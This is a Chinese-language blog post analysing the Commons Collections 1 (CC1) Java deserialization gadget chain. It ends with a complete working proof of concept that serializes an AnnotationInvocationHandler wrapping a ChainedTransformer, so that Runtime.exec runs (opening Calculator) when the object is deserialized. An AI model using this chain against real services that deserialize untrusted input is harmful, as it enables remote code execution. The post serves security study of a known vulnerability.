CommonsCollections1利用链分析

前言

咕咕咕了一段时间Java的学习,趁着上个月的事情忙完,接着来学习复现一下著名的CommonsCollections1也就是CC1链的漏洞分析

环境

我参考的是白日梦组长的,首先JDK版本下载jdk8u65的,因为这个漏洞在高版本中是被修复了的,然后导入对应版本的sun包java源码,方便调试分析

下载链接

JDK8u65

openjdk 8u65

下好后,先在IDEA里创建一个maven项目,然后选择对应版本的jdk,导入解压出来的src目录(记得把openjdk的sun包放进去)

image-20221103141534912

然后下载maven的依赖,这里选择的版本是3.2.1

image-20221103141640058

分析

首先这里引用一下白日梦组长的反序列化攻击的思路

img

入口需要一个readObject,然后尾部需要有如命令执行的危险方法。所以我们的思路是从后往前找

根据前人的总结,我们知道寻找Transformer接口去挖掘漏洞

image-20221103144327349

它有一个transform的方法,接收一个对象,然后进行一些操作。

我们主要看他的一些实现类

image-20221103144548786

这个地方,我们主要先看这个InvokerTransformer,它的transform方法就是一个反射任意调用类,并且参数我们都可控,很像是一个后门的写法。

image-20221103145102054

所以我们先尝试利用这个类来执行命令

       Runtime runtime = Runtime.getRuntime();
// Class cls = Runtime.class;
// Method execMethod = cls.getDeclaredMethod("exec", String.class);
// execMethod.setAccessible(true);
// execMethod.invoke(runtime, "open /System/Applications/Calculator.app");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
invokerTransformer.transform(runtime);

image-20221103151459980

成功执行了

接着我们的任务就是去找调用transform的不同名函数,因为如果是同名,那就无法构成链了,不能到别的方法里,就没有意义。

这里的话,采用idea的find usages,但是它只能找java文件,不能找class文件,所以这也是为啥之前要导入sun包源码。

image-20221103152815818

然后我们找到了这个TransformedMapcheckSetValue方法,它的这个valueTransformer调用了transform方法,并且这个类的构造方法是一个protected,所以他只能自己调用,我们找一下

image-20221103155305256

发现在这个decorate这里调用了

image-20221103155423582

尝试构造一下POC

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});

HashMap<Object, Object> hashMap = new HashMap<>();
Map map = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(map,runtime);

我们就可以利用decorate去创建TransformedMap对象,因为作用域是protected,所以我们无法直接获取,再去调用其checkSetValue方法,然后会触发transform,我们跟进去发现成功执行。

image-20221103194110635

然后我们接着继续找哪个地方调用了checkSetValue,发现是TransformedMap的父类,抽象类,AbstractInputCheckedMapDecorator内部的MapEntry

image-20221103195733183

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行操作,比如对Map进行遍历的时候。

于是我们在进行对调用decorate方法的Map遍历时,调用setValue()然后就会走到checkSetValue

我们来更新一下POC

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(runtime);
}

image-20221103231932293

到这一步我们的目的就变成了,如果有一个遍历数组的地方,然后调用了setValue()方法,最好是在readObject方法里,这样我们就能直接构造POC了

继续find usages

image-20221103232453091

AnnotationInvocationHandler首先看名字我们知道他是一个动态代理处理的类

image-20221104005151043

这里需要满足两个if条件判断,才能走到setValue

image-20221104005537519

AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数

先构造出简单的poc再一一解决问题

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class,transformedMap);

serialize(obj);
unserialize("ser.bin");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

现在存在三个问题

一:Runtime对象不可以序列化,我们要通过反射去变成可序列化

二:之前那两个if判断

三:最后setValue的参数对象是一个代理类,我们不可控

首先第一个,我们可以利用Runtime.class来序列化,并且将它改写为InvokerTransformer版本调用

 Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(runtime);

// Class<Runtime> cls = Runtime.class;
// Method getRuntimeMethod = cls.getMethod("getRuntime",null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execmethod = cls.getMethod("exec", String.class);
// execmethod.invoke(runtime, "open /System/Applications/Calculator.app");

然后可以利用ChainedTransformer,做一个递归的调用,减少代码的复用量

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

接着第二个问题,if判断,我们下断点

image-20221104013056296

发现第一个memberType判断不过去,因为在这里获取传参注解的成员方法

image-20221104013253895

所以我们知道,我们这里传的是一个override的注解,而他是没有成员方法的,所以过不去第一个判断。

image-20221104013429102

我们可以改成这两个,并且设置hashMap.put中键为value,绕过第二个if

image-20221104013630970

成功进来,但是第三个问题,setValue() 处中的参数不可控,是 AnnotationTypeMismatchExceptionProxy

这个时候就要想到之前的ConstantTransformer

image-20221104014205234

他的transform方法,无论传入什么,他都返回之前构造方法的那个iConstant存的对象

所以我们先传入一个 Runtime.class,然后无论 他的transform() 方法调用任何对象,都会返回 Runtime.class

所以这也就是最终的POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "qqw");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,transformedMap);

serialize(obj);
unserialize("ser.bin");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

image-20221104014817468

总结

image-20221104122902293

这条链看起来是那么的巧合,让我认识到了我速成的Java基础还是不太行,总之,多调试多分析。

参考

https://drun1baby.github.io/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#toc-heading-1

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.788&vd_source=18a3ab614a59493e37ea0cb1f984fb56

CommonsCollections1利用链分析

https://lhxhl.github.io/2022/11/03/CC1/

作者

秋秋晚

发布于

2022-11-03

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...